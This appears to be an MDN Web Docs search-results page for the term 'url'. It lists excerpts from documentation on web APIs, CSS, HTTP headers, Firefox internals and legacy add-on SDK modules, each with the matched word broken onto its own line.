url was last modified (if applicable), measured in seconds since 12:00 midnight gmt, january 1, 1970.
...And 2 more matches
Working with JSON - Learn web development
to start with, we store the
url of the json we want to retrieve in a variable.
... add the following at the bottom of your javascript code: let request
url = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; to create a request, we need to create a new request object instance from the xmlhttprequest constructor, using the new keyword.
...add the following line: request.open('get', request
url); this takes at least two parameters — there are other optional parameters available.
...And 2 more matches
Deployment and next steps - Learn web development
once it has finished deploying, go to the "production"
url in your browser, and you'll see the app deployed!
...you will have a remote
url that points to your new gitlab git repository, like git@gitlab.com:[your-user]/[your-project].git.
...your origin
url will be like this: git@gitlab.com:[your-user]/mdn-svelte-todo.git.
...And 2 more matches
Getting started with Svelte - Learn web development
the markup section in the markup section you can insert any html you like, and in addition you can insert valid javascript expression inside single c
urly brackets ({}).
...to share your app simply share the
url.
... note: notice how you can specify svelte's version in the
url.
...And 2 more matches
Gecko info for Windows accessibility vendors
accvalue() exposes the
url of the current pane.
... role_pane the first child of a <frame> or <iframe> accvalue() exposes the
url of the current document.
... sets state_selectable if it is an html named anchor accvalue() exposes the
url that is pointed to role_helpballoon not supported.
...And 2 more matches
Storage access policy: Block cookies from trackers
firefox uses the built-in tracking protection
url classifier to determine which resources match the tracking protection list.
...we’ve added a preference that allows you to add custom domains to the tracking protection
url classifier.
...if you are presented with a page that warns you "this may void your warranty!", click "i accept the risk!" search for the preference name "
urlclassifier.trackingannotationtable.testentries".
...And 2 more matches
HTMLIFrameElement.download()
the download() method of the htmliframeelement interface downloads a specified
url, storing it at /sdcard/download.
... syntax var instanceofdomrequest = instanceofhtmliframeelement.download(
url, options); returns a domrequest for handling the download request.
... parameters
url the
url of the file to be downloaded.
...And 2 more matches
HTMLIFrameElement.executeScript()
options optional optionally, you can provide an origin or
url for the script to be executed against.
... it's recommended that you include an origin or
url, in order to ensure that the script is being executed in the expected context: origin: an origin, e.g.
... http://example.com
url: a
url, e.g.
...And 2 more matches
AddonManager
getinstallfor
url(in string
url, in installcallback?
... callback, in string mimetype, in string hash, in string name, in string icon
url, in string version, in nsiloadgroup loadgroup) promise?
... getinstallfor
url() asynchronously gets an addoninstall for a
url.
...And 2 more matches
Localization content best practices
for example, in english all the following begin with the same clause: the
url of this feed is invalid; the
url of this feed cannot be reached; the
url of this feed cannot be parsed.
... it might be tempting to 'save time' by presenting this as the
url of this feed %s and then is invalid; cannot be reached and cannot be parsed.
...for example, in gaelic these sentences must be translated as tha
url an inbhir seo mì-dhligheach;cha ruig sinn
url an inbhir seo and cha ghabh
url an inbhir seo a pharsadh.
...And 2 more matches
Localizing with Koala
url: http://hg.mozilla.org/releases/mozilla-1.9.2.
...ing directory 40357 files updated, 0 files merged, 0 files removed, 0 files unresolved configure the locale locale id: x-testing (put your locale's code) version: 3.6 location: choose the folder where you want to keep the localized files or leave empty for now check "mercurial" if you wish to use mercurial to keep the revision history of your files (very recommended) existing localizations:
url: if you're editing an existing localization or you already have a repository set up (either on hg.mozilla.org or bitbucket), type the
url of the remote repository, e.g.
...new localizations:
url: if you already have a repository set up by l10n-drivers (on bitbucket), type the
url of the remote repository, e.g.
...And 2 more matches
JS::CompileOptions
const char16_t *sourcemap
url() const returns the
url of the source map.
... bool setsourcemap
url(jscontext *cx, const char16_t *s) duplicate null-terminated string s for sourcemap
url.
... compileoptions &setline(unsigned l) compileoptions &setfileandline(const char *f, unsigned l) compileoptions &setsourcemap
url(const char16_t *s) compileoptions &setelement(jsobject *e) compileoptions &setelementattributename(jsstring *p) compileoptions &setintroductionscript(jsscript *s) compileoptions &setmutederrors(bool mute) compileoptions &setversion(jsversion v) compileoptions &setutf8(bool u) compileoptions &setcolumn(unsigned c) compileoptio...
...And 2 more matches
The Places database
the places schema looks like so: core
url table moz_places: this is the main table of uris and is managed by the history service (see also history service design).
... any time a places component wants to reference a
url, whether visited or not, it refers to this table.
...no two entries may have the same value in the
url column.
...And 2 more matches
Querying Places
the visit date for each node will be the last visit date for that
url.
...the result may contain duplicate entries for
urls, each with a different date.
...a new session starts when the user types a new
url or follows a bookmark (xxx link to more details about what constitutes a session).
...And 2 more matches
Components.utils.import
note: prior to gecko 2.0, javascript code modules could only be loaded using file: or resource:
urls.
... gecko 2.0 adds support for loading modules from chrome:
urls, even those inside jar archives.
... syntax components.utils.import(
url [, scope]); // or, if you use a tool such as jslint which reports compiler errors for the above, components.utils["import"](
url [, scope]); parameters
url a string of the
url of the script to be loaded.
...And 2 more matches
amIInstallTrigger
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean enabled(); boolean install(in nsivariant aargs, [optional] in amiinstallcallback acallback); boolean installchrome(in pruint32 atype, in astring a
url, in astring askin); deprecated since gecko 2.0 boolean startsoftwareupdate(in astring a
url, [optional] in print32 aflags); deprecated since gecko 2.0 boolean updateenabled(); deprecated since gecko 2.0 constants retained for backwards compatibility.
...the value of the property should either be a string
url, or an object with the following properties:
url for the add-on's
url icon
url for an icon for the add-on hash for a hash of the add-on.
... boolean installchrome( in pruint32 atype, in astring a
url, in astring askin ); parameters atype unused, retained for backwards compatibility.
...And 2 more matches
inIDOMUtils
components.classes["@mozilla.org/inspector/dom-utils;1"] .getservice(components.interfaces.inidomutils); method overview void addpseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); void clearpseudoclasslocks(in nsidomelement aelement); [implicit_jscontext] jsval colornametorgb(in domstring acolorname); nsiarray getbinding
urls(in nsidomelement aelement); nsidomnodelist getchildrenfornode(in nsidomnode anode, in boolean ashowinganonymouscontent); unsigned long long getcontentstate(in nsidomelement aelement); void getcsspropertynames([optional] in unsigned long aflags, [optional] out unsigned long acount, [retval, array, size_is(acount)] out wstring aprops); nsisupportsarray getcsss...
... value state 1 :active 2 :focus 4 :hover 8 :-moz-drag-over 16 :target 1<<29 :-moz-focusring methods getbinding
urls() returns an array of nsiuri objects representing the current xml binding for the specified element.
... nsiarray getbinding
urls( in nsidomelement aelement ); parameters aelement a dom element to retrieve the bindings of.
...And 2 more matches
nsILoginInfo
to create an instance, use: var logininfo = components.classes["@mozilla.org/login-manager/logininfo;1"] .createinstance(components.interfaces.nsilogininfo); method overview nsilogininfo clone(); boolean equals(in nsilogininfo alogininfo); void init(in astring ahostname, in astring aformsubmit
url, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield); boolean matches(in nsilogininfo alogininfo, in boolean ignorepassword); attributes attribute type description formsubmit
url astring the origin, not
url, a form-based login was submitted to.
...forms with no action attribute default to submitting to their origin
url, so that is stored here.
... void init( in astring ahostname, in astring aformsubmit
url, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield ); parameters ahostname the value to assign to the hostname field.
...And 2 more matches
nsIMsgWindow
method overview void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stop
urls(); void closewindow(); attributes attribute type description windowcommands nsimsgwindowcommands this allows the backend code to send commands to the ui, such as clearmsgpane.
... stopped boolean check if a running
url been stopped.
...this is equivalent to calling loaduri on the nsiwebnavigation object with a data:
url specifying the html.
...And 2 more matches
nsIUpdate
billboard
url astring the
url to a page that is typically localized to display in the update prompt.
... details
url astring the
url to a page which offers details about the content of this update.
... license
url astring the
url to an html fragment that contains a license for the update.
...And 2 more matches
Debugger - Firefox Developer Tools
file if present, the source file name,
url, etc.
... querymay have the following properties:
url the source’s
url property must be equal to this value.
... querymay have the following properties:
url the script’s
url property must be equal to this value.
...And 2 more matches
about:debugging - Firefox Developer Tools
opening the about:debugging page there are two ways to open about:debugging: type about:debugging in the firefox
url bar.
... starting in firefox 78, the
url bar is editable, so that you can change the
url used by the browser on the remote device, by typing in firefox for desktop.
... you can also reload the page by clicking the reload button next to the
url bar, and (starting 79), navigate backward or forward in the browsing history with the back and forward buttons.
...And 2 more matches
ContentIndex.add() - Web APIs
url: a string containing the
url of the corresponding html document.
... homepage article video audio icons: optional an array of image resources, defined as an object with the following data: src: a
url string of the source image.
... if the id, title, description or
url are missing, not of type string, or an empty string.
...And 2 more matches
DirectoryReaderSync - Web APIs
you can do that by passing a list of filesystem:
urls—which are just strings—instead of a list of entries.
... you can also use the filesystem:
url to look up the entry with resolvelocalfilesystem
url().
... window.resolvelocalfilesystem
url = window.resolvelocalfilesystem
url || window.webkitresolvelocalfilesystem
url; // create web workers var worker = new worker('worker.js'); worker.onmessage = function(e) { var
urls = e.data.entries;
urls.foreach(function(
url, i) { window.resolvelocalfilesystem
url(
url, function(fileentry) { // print out file's name.
...And 2 more matches
Cross-global fetch usage - Web APIs
when a cross-origin fetch involving a relative
url is initiated from an <iframe>, the relative
url used to be resolved against the current global location, rather than the iframe's location.
...to see it: you need a same-origin iframe that same-origin iframe needs to have a location with a different base
url you have to use the fetch function cross-global, e.g.
... frame.contentwindow.fetch() the
url passed to fetch needs to be relative the problem in the past we would resolve the relative
url against the current global, for example: let absolute = new
url(relative, window.location.href) this is not a problem as such.
...And 2 more matches
HTMLIFrameElement.referrerPolicy - Web APIs
the
url is sent as a referrer when the protocol security level stays the same (http→http, https→https), but isn't sent to a less secure destination (https→http).
... origin-when-cross-origin send a full
url when performing a same-origin request, but only send the origin of the document for other cases.
... strict-origin-when-cross-origin send a full
url when performing a same-origin request, only send the origin when the protocol security level stays the same (https→https), and send no header to a less secure destination (https→http).
...And 2 more matches
HTMLMediaElement.srcObject - Web APIs
until other browsers catch up, for mediasource, blob and file, consider falling back to creating a
url with
url.createobject
url() and assign it to htmlmediaelement.src.
... usage notes older versions of the media source specification required using createobject
url() to create an object
url then setting src to that
url.
... const mediasource = new mediasource(); const video = document.createelement('video'); video.srcobject = mediasource; supporting fallback to the src property the examples below support older browser versions that require you to create an object
url and assign it to src if srcobject isn't supported.
...And 2 more matches
HTMLScriptElement.referrerPolicy - Web APIs
the
url is sent as a referrer when the protocol security level stays the same (e.g.http→http, https→https), but isn't sent to a less secure destination (e.g.
... origin-when-cross-origin send a full
url when performing a same-origin request, but only send the origin of the document for other cases.
... strict-origin-when-cross-origin send a full
url when performing a same-origin request, only send the origin when the protocol security level stays the same (e.g.
...And 2 more matches
MediaDevices.getUserMedia() - Web APIs
a secure context is, in short, a page loaded using https or the file:///
url scheme, or a page loaded from localhost.
... for example in firefox, the
url bar displays a pulsing red icon to indicate that recording is underway.
... a document loaded using a data:// or blob://
url which has no origin (such as when one of these
urls is typed by the user into the address bar) cannot call getusermedia().
...And 2 more matches
PasswordCredential - Web APIs
passwordcredential.additionaldata secure context one of a formdata instance, a
urlsearchparams instance, or null.
... passwordcredential.icon
url read only secure context a usvstring containing a
url pointing to an image for an icon.
...the
url must be accessible without authentication.
...And 2 more matches
PaymentRequest: merchantvalidation event - Web APIs
it uses the fetch() to send a request to its own server with an argument of the payment method's validation
url, obtained from the event's validation
url property.
... the merchant server should access the validation
url in accordance with the payment method documention.
... typically, a client should not access the validation
url.
...And 2 more matches
Response - Web APIs
response.redirected read only indicates whether or not the response is the result of a redirect (that is, its
url list has more than one entry).
... response.
url read only the
url of the response.
... response.usefinal
url a boolean indicating whether this is the final
url of the response.
...And 2 more matches
Window.sidebar - Web APIs
methods the sidebar object returned has the following methods: method description (seamonkey) description (firefox) addpanel(title, content
url, "") adds a sidebar panel.
... addpersistentpanel(title, content
url, "") adds a sidebar panel, which is able to work in the background.
... addsearchprovider(description
url) dummy function; does nothing.
...And 2 more matches
attr() - CSS: Cascading Style Sheets
/* simple usage */ attr(data-count); attr(title); /* with type */ attr(src
url); attr(data-count number); attr(data-width px); /* with fallback */ attr(data-count number, 0); attr(src
url, ""); attr(data-width px, inherit); attr(data-something, "default"); syntax values attribute-name is the name of an attribute on the html element referenced in the css.
... currentcolor
url <
url> the attribute value is parsed as a string that is used inside a css
url() function.
... relative
url are resolved relatively to the original document, not relatively to the style sheet.
...And 2 more matches
background - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size syntax /* using a <background-color> */ background: green; /* using a <bg-image> and <repeat-style> */ background:
url("test.jpg") repeat-y; /* using a <box> and <background-color> */ background: border-box red; /* a single image, centered and scaled */ background: no-repeat center/80%
url("../img/image.png"); the background property is specified as one or more background layers, separated by commas.
...ntagesas each of the properties of the shorthand:background-position: refer to the size of the background positioning area minus size of background image; size refers to the width for horizontal offsets and to the height for vertical offsetsbackground-size: relative to the background positioning areacomputed valueas each of the properties of the shorthand:background-image: as specified, but with <
url> values made absolutebackground-position: a list, each item consisting of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentagebackground-size: as specified, but with relative lengths converted into absolute lengthsbackground-repeat: a list, each item consisting of two keywords, one per dimensionbac...
...] ]<bg-size> = [ <length-percentage> | auto ]{1,2} | cover | contain<repeat-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2}<attachment> = scroll | fixed | local<box> = border-box | padding-box | content-boxwhere <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient><length-percentage> = <length> | <percentage>where <image()> = image( <image-tags>?
...And 2 more matches
mask-image - CSS: Cascading Style Sheets
/* keyword value */ mask-image: none; /* <mask-source> value */ mask-image:
url(masks.svg#mask1); /* <image> values */ mask-image: linear-gradient(rgba(0, 0, 0, 1.0), transparent); mask-image: image(
url(mask.png), skyblue); /* multiple values */ mask-image: image(
url(mask.png), skyblue), linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* global values */ mask-image: inherit; mask-image: initial; mask-image: unset; syntax values none this keyword is interpreted as a transparent black image layer.
... <mask-source> a <
url> reference to a <mask> or to a css image.
... formal definition initial valuenoneapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specified, but with <
url> values made absoluteanimation typediscrete formal syntax <mask-reference>#where <mask-reference> = none | <image> | <mask-source>where <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient><mask-source> = <
url>where <image()> = image( <image-tags>?
...And 2 more matches
shape-outside - CSS: Cascading Style Sheets
tside: margin-box; shape-outside: content-box; shape-outside: border-box; shape-outside: padding-box; /* function values */ shape-outside: circle(); shape-outside: ellipse(); shape-outside: inset(10px 10px 10px 10px); shape-outside: polygon(10px 10px, 20px 20px, 30px 30px); shape-outside: path('m0.5,1 c0.5,1,0,0.7,0,0.3 a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z'); /* <
url> value */ shape-outside:
url(image.png); /* <gradient> value */ shape-outside: linear-gradient(45deg, rgba(255, 255, 255, 0) 150px, red 150px); /* global values */ shape-outside: initial; shape-outside: inherit; shape-outside: unset; the shape-outside property is specified using the values from the list below, which define the float area for float elements.
... note: user agents must use the potentially cors-enabled fetch method defined by the html5 specification for all
urls in a shape-outside value.
... when fetching, user agents must use "anonymous" mode, set the referrer source to the stylesheet's
url, and set the origin to the
url of the containing document.
...And 2 more matches
Setting up adaptive streaming media sources - Developer guides
<?xml version="1.0" encoding="utf-8"?> <mpd xmlns:xsi="http://www.w3.org/2001/xmlschema-instance" xmlns="urn:mpeg:dash:schema:mpd:2011" xsi:schemalocation="urn:mpeg:dash:schema:mpd:2011 dash-mpd.xsd" type="static" mediapresentationduration="pt654s" minbuffertime="pt2s" profiles="urn:mpeg:dash:profile:isoff-on-demand:2011"> <base
url>http://example.com/ondemand/</base
url> <period> <!-- english audio --> <adaptationset mimetype="audio/mp4" codecs="mp4a.40.5" lang="en" subsegmentalignment="true" subsegmentstartswithsap="1"> <representation id="1" bandwidth="64000"> <base
url>elephantsdream_aac48k_064.mp4.dash</base
url> </representation> </adaptationset> <!-- video --> <adaptationset mime...
...type="video/mp4" codecs="avc1.42401e" subsegmentalignment="true" subsegmentstartswithsap="1"> <representation id="2" bandwidth="100000" width="480" height="360"> <base
url>elephantsdream_h264bpl30_0100.264.dash</base
url> </representation> <representation id="3" bandwidth="175000" width="480" height="360"> <base
url>elephantsdream_h264bpl30_0175.264.dash</base
url> </representation> <representation id="4" bandwidth="250000" width="480" height="360"> <base
url>elephantsdream_h264bpl30_0250.264.dash</base
url> </representation> <representation id="5" bandwidth="500000" width="480" height="360"> <base
url>elephantsdream_h264bpl30_0500.264.dash</base
url> </representation> </adaptationset> </period> </mpd> once you hav...
... <?xml version="1.0"?> <mpd xmlns:xsi="http://www.w3.org/2001/xmlschema-instance" xmlns="urn:mpeg:dash:schema:mpd:2011" xsi:schemalocation="urn:mpeg:dash:schema:mpd:2011" profiles="urn:mpeg:dash:profile:isoff-main:2011" type="static" mediapresentationduration="pt0h9m56.46s"> <base
url> http://example.com/segments </base
url> <period start="pt0s"> <adaptationset bitstreamswitching="true"> <representation id="0" codecs="avc1" mimetype="video/mp4" width="320" height="240" startwithsap="1" bandwidth="46986"> <segmentbase> <initialization source
url="main/news100/1.m4s" range="0-862"/> </segmentbase> <segmentlist ...
...And 2 more matches
Constraint validation - Developer guides
semantic input types the intrinsic constraints for the type attribute are: input type constraint description associated violation <input type="
url"> the value must be an absolute
url, as defined in the
url living standard.
... validation-related attributes in addition to the type attribute described above, the following attributes are used to describe basic constraints: attribute input types supporting the attribute possible values constraint description associated violation pattern text, search,
url, tel, email, password a javascript regular expression (compiled with the ecmascript 5 global, ignorecase, and multiline flags disabled) the value must match the pattern.
...violation date, month, week a valid date datetime, datetime-local, time a valid date and time max range, number a valid number the value must be less than or equal to the value rangeoverflow constraint violation date, month, week a valid date datetime, datetime-local, time a valid date and time required text, search,
url, tel, email, password, date, datetime, datetime-local, month, week, time, number, checkbox, radio, file; also on the <select> and <textarea> elements none as it is a boolean attribute: its presence means true, its absence means false there must be a value (if set).
...And 2 more matches
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
code this attribute specifies the
url of the applet's class file to be loaded and executed.
...the
url specified by code might be relative to the codebase attribute.
... codebase this attribute gives the absolute or relative
url of the directory where applets' .class files referenced by the code attribute are stored.
...And 2 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
strict-origin-when-cross-origin: send a full
url when performing a same-origin request, only send the origin when the protocol security level stays the same (https→https), and send no header to a less secure destination (https→http).
... unsafe-
url: the referrer will include the origin and the path (but not the fragment, password, or username).
... src the
url of the page to embed.
...And 2 more matches
Standard metadata names - HTML: Hypertext Markup Language
no-referrer-when-downgrade send the full
url when the destination is at least as secure as the current page (http(s)→https), but send no referrer when it's less secure (https→http).
... origin-when-cross-origin send the full
url (stripped of parameters) for same-origin requests, but only send the origin for other cases.
... same-origin send the full
url (stripped of parameters) for same-origin requests.
...And 2 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
, the only headers which are allowed to be manually set are those which the fetch spec defines as a “cors-safelisted request-header”, which are: accept accept-language content-language content-type (but note the additional requirements below) dpr downlink save-data viewport-width width the only allowed values for the content-type header are: application/x-www-form-
urlencoded multipart/form-data text/plain no event listeners are registered on any xmlhttprequestupload object used in the request; these are accessed using the xmlhttprequest.upload property.
...code of this sort might be used in javascript deployed on foo.example: const xhr = new xmlhttprequest(); const
url = 'https://bar.other/resources/public-data/'; xhr.open('get',
url); xhr.onreadystatechange = somehandler; xhr.send(); this performs a simple exchange between the client and the server, using cors headers to handle the privileges: let's look at what the browser will send to the server in this case, and let's see how the server responds: get /resources/public-data/ http/1.1 host: bar.other u...
... until browsers catch up with the spec, you may be able to work around this limitation by doing one or both of the following: change the server-side behavior to avoid the preflight and/or to avoid the redirect change the request such that it is a simple request that doesn’t cause a preflight if that's not possible, then another way is to: make a simple request (using response.
url for the fetch api, or xmlhttprequest.response
url) to determine what
url the real preflighted request would end up at.
...And 2 more matches
CSP: frame-ancestors - HTTP
only the sources listed below are allowed: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number, separated by spaces.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... if no
url scheme is specified for a host-source and the iframe is loaded from an https
url, the
url for the page loading the iframe must also be https, per the w3c spec on matching source expressions.
...And 2 more matches
Referrer-Policy - HTTP
referrer-policy: no-referrer referrer-policy: no-referrer-when-downgrade referrer-policy: origin referrer-policy: origin-when-cross-origin referrer-policy: same-origin referrer-policy: strict-origin referrer-policy: strict-origin-when-cross-origin referrer-policy: unsafe-
url directives no-referrer the referer header will be omitted entirely.
...the origin, path, and querystring of the
url are sent as a referrer when the protocol security level stays the same (http→http, https→https) or improves (http→https), but isn't sent to less secure destinations (https→http).
... unsafe-
url send the origin, path, and query string when performing any request, regardless of security.
...And 2 more matches
Set-Cookie - HTTP
encoding: many implementations perform
url encoding on cookie values, however it is not required per the rfc specification.
... if omitted, defaults to the host of the current document
url, not including subdomains.
... path=<path-value> optional a path that must exist in the requested
url, or the browser won't send the cookie header.
...And 2 more matches
How to make PWAs installable - Progressive web apps (PWAs)
these technologies allow the app to be launched directly from the device's home screen, rather than the user having to open the browser and then navigate to the site by using a bookmark or typing the
url.
... { "src": "icons/icon-512.png", "sizes": "512x512", "type": "image/png" } ], "start_
url": "/pwa-examples/js13kpwa/index.html", "display": "fullscreen", "theme_color": "#b12a34", "background_color": "#b12a34" } most of the fields are self-explanatory, but to be certain we're on the same page: name: the full name of your web app.
... icons: a bunch of icon information — source
urls, sizes, and types.
...And 2 more matches
Content type - SVG: Scalable Vector Graphics
note: for historical reasons, the delimiters are "
url(" and ")", for compatibility with the css specifications.
...for example, to fill a rectangle with a linear gradient, you first define a <lineargradient> element and give it an id, as in: <lineargradient xml:id="mygradient">...</lineargradient> you then reference the linear gradient as the value of the fill attribute for the rectangle, as in the following example: <rect fill="
url(#mygradient)"/> svg supports two types of iri references: local iri references, where the iri reference does not contain an <absoluteiri> or <relativeiri> and thus only contains a fragment identifier (i.e., #<elementid> or #xpointer(id<elementid>)).
...
url url a uniform resource locator.
...And 2 more matches
Communicating With Other Scripts - Archive of obsolete content
in the main add-on code, we have a page-mod that attaches the content script "talk.js" to the right page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.
url("talk.js") }); the "talk.js" content script uses window.postmessage() to send the message to the page: // content-script (talk.js) window.postmessage("message from content script", "http://my-domain.org/"); the second argument may be '*' which will allow communication with any domain.
... here "main.js" creates a page-mod that attaches "listen.js" to the web page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.
url("listen.js") }); the web page "talk.html" embeds a script that uses window.postmessage() to send the content script a message when the user clicks a button: <!doctype html> <html> <head></head> <body> <script> function sendmessage() { window.postmessage("message from page script", "http://my-domain.org/"); } </script> <button onclick="sendmessage()">send mes...
... first, "main.js" will create a page-mod that will attach "content-script.js" to the target web page, and will then load the target web page: var tabs = require("sdk/tabs"); var mod = require("sdk/page-mod"); var self = require("sdk/self"); var page
url = self.data.
url("page.html") var pagemod = mod.pagemod({ include: page
url, contentscriptfile: self.data.
url("content-script.js"), contentscriptwhen: "ready" }) tabs.open(page
url); the target web page "page.html" includes a button and a page script: <html> <head> <meta charset="utf-8"> </head> <body> <input id="message" type="button" value="send a message"/> <script ty...
... in this example, "main.js" creates a page-mod to target the page we are interested in: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.
url("listen.js") }); the web page "talk.html" creates and dispatches a custom dom event, using initcustomevent()'s detail parameter to supply the payload: <!doctype html> <html> <head></head> <body> <script> function sendmessage() { var event = document.createevent('customevent'); event.initcustomevent("addon-message", true, true, { hello: 'world' }); document...
Loading Content Scripts - Archive of obsolete content
the contentscriptfile option enables you to pass in the local file
url from which the content script will be loaded.
...contentscriptfile: data.
url("my-content-script.js") both contentscript and contentscriptfile accept an array of strings, so you can load multiple scripts, which can also interact directly with each other in the content process: // "data" is supplied by the "self" module var data = require("sdk/self").data; ...
... contentscriptfile: [data.
url("jquery-1.4.2.min.js"), data.
url("my-content-script.js")] scripts specified using contentscriptfile are loaded before those specified using contentscript.
... this enables you to load a javascript library like jquery by
url, then pass in a simple script inline that can use jquery.
notifications - Archive of obsolete content
var notifications = require("sdk/notifications"); var self = require("sdk/self"); var myicon
url = self.data.
url("myicon.png"); notifications.notify({ text: "i have an icon!", icon
url: myicon
url }); from firefox 34, you can use "./myicon.png" as an alias for self.data.
url("myicon.png").
... so you can rewrite the above code like this: var notifications = require("sdk/notifications"); var myicon
url = "./myicon.png"; notifications.notify({ text: "i have an icon!", icon
url: myicon
url }); this module depends on the underlying system's notification service.
... icon
url string the
url of an icon to display inside the message.
... it may be a remote
url, a data uri, or a
url returned by the self module.
ui - Archive of obsolete content
you initialize a frame with a
url pointing to an html document supplied under your add-on's "data" directory.
...{ toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var previous = ui.actionbutton({ id: "previous", label: "previous", icon: "./icons/previous.png" }); var next = ui.actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = ui.actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = ui.frame({
url: "./frame-player.html" }); var toolbar = ui.toolbar({ title: "player", items: [previous, next, play, frame] }); the toolbar appears just above the content window: sidebar a sidebar gives you a vertical strip of space for presenting complex user interfaces.
... you initialize a sidebar with a
url pointing to an html document supplied under your add-on's "data" directory.
... var ui = require("sdk/ui"); var sidebar = ui.sidebar({ id: 'my-sidebar', title: 'my sidebar',
url: require("sdk/self").data.
url("sidebar.html") }); it appears on the left of the content window: ...
Modifying the Page Hosted by a Tab - Archive of obsolete content
to do this, provide option contentscriptfile not contentscript, whose value is a
url pointing to one or more content script files.
... for example, if we save the script above under the add-on's data directory in a file called my-script.js: var self = require("sdk/self"); var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscriptfile: self.data.
url("my-script.js") }); } }); you can load more than one script, and the scripts can interact directly with each other.
... // index.js var self = require("sdk/self"); var tabs = require("sdk/tabs"); require("sdk/ui/button/action").actionbutton({ id: "load-several", label: "load several scripts", icon: "./icon-16.png", onclick: function () { tabs.activetab.attach({ contentscriptfile: [self.data.
url('first.js'), self.data.
url('second.js')] }); } }); communicating with the content scripts your add-on script and content scripts can't directly access each other's variables or call each other's functions, but they can send each other messages.
...dd-on script, we'll send the content script a "drawborder" message using the object returned from attach(): var self = require("sdk/self"); var tabs = require("sdk/tabs"); var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { var worker = tabs.activetab.attach({ contentscriptfile: self.data.
url("my-script.js") }); worker.port.emit("drawborder", "red"); } }); the drawborder message isn't a built-in message, it's one that this add-on defines in the port.emit() call.
Progress Listeners - Archive of obsolete content
example: notification when the value in address bar changes a commonly asked question is how to get notified whenever the
url in the address bar (also known as location bar) changes.
... var myextension = { old
url: null, init: function() { gbrowser.addprogresslistener(this); }, uninit: function() { gbrowser.removeprogresslistener(this); }, processnew
url: function(auri) { if (auri.spec == this.old
url) return; // now we know the
url is new...
... alert(auri.spec); this.old
url = auri.spec; }, // nsiwebprogresslistener queryinterface: xpcomutils.generateqi(["nsiwebprogresslistener", "nsisupportsweakreference"]), onlocationchange: function(aprogress, arequest, auri) { this.processnew
url(auri); }, onstatechange: function() {}, onprogresschange: function() {}, onstatuschange: function() {}, onsecuritychange: function() {} }; window.addeventlistener("load", function() { myextension.init() }, false); window.addeventlistener("unload", function() { myextension.uninit() }, false); note: if you use the same listener for more than one tab/window, use awebprogress.domwindow in the callback methods to obtain the tab/window which triggers th...
... var myext_
urlbarlistener = { onlocationchange: function (aprogress, arequest, auri, aflags) { if (aflags & ci.nsiwebprogresslistener.location_change_same_document) { //anchor clicked!
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
fixme: explain how setting this option and use next listings if we want to run firefox displaying none of its gui and only the contents of a certain xul file, we can launch firefox and set the option: -chrome file_
url.xul another way, as shown in listing 1, is to use the window.opendialog() method, which can be used only within a xul window.
...note that external dtd files are limited to what is given in the chrome
url, which will be discussed in chapter 5.
... note: you may use a relative path to access a chrome
url from an xul document.
... you can also display specific icons using the markup moz-icon:file
url?size=size.
Connecting to Remote Content - Archive of obsolete content
let
url = "http://www.example.com/"; let request = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(components.interfaces.nsixmlhttprequest); request.onload = function(aevent) { window.alert("response text: " + aevent.target.responsetext); }; request.onerror = function(aevent) { window.alert("error status: " + aevent.target.status); }; request.open("get", u...
... the open method takes two required parameters: the http request method and the
url to send the request.
... request.open("post",
url, true); request.setrequestheader("content-type", "application/x-www-form-
urlencoded"); request.send("data=hello&version=2"); the third parameter for the open method specifies whether the request should be handled asynchronously or not.
...you can discover some interesting things about firefox like this, such as the automatic update
urls for extensions, and the behavior of web applications such as gmail.
Creating a dynamic status bar extension - Archive of obsolete content
refreshinformation: function() { var httprequest = null; var full
url = 'http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=goog'; // ...
... httprequest = new xmlhttprequest(); httprequest.open('get', full
url, true); httprequest.onload = inforeceived; httprequest.send(null); } the httprequest variable will contain an xmlhttprequest object.
...the full
url variable is the complete
url to use when requesting a stock quote.
...we open the request, specifying that we wish to perform an http "get" command with the
url full
url.
Bookmark Keywords - Archive of obsolete content
under ordinary circumstances, this might be used to reduce typing of a common
url: http://www.cnn.com/ could be given the keyword cnn.
...mozilla will automatically expand the keyword to the corresponding bookmarked
url, and load up the site.
...you just need to fill in whatever piece of a
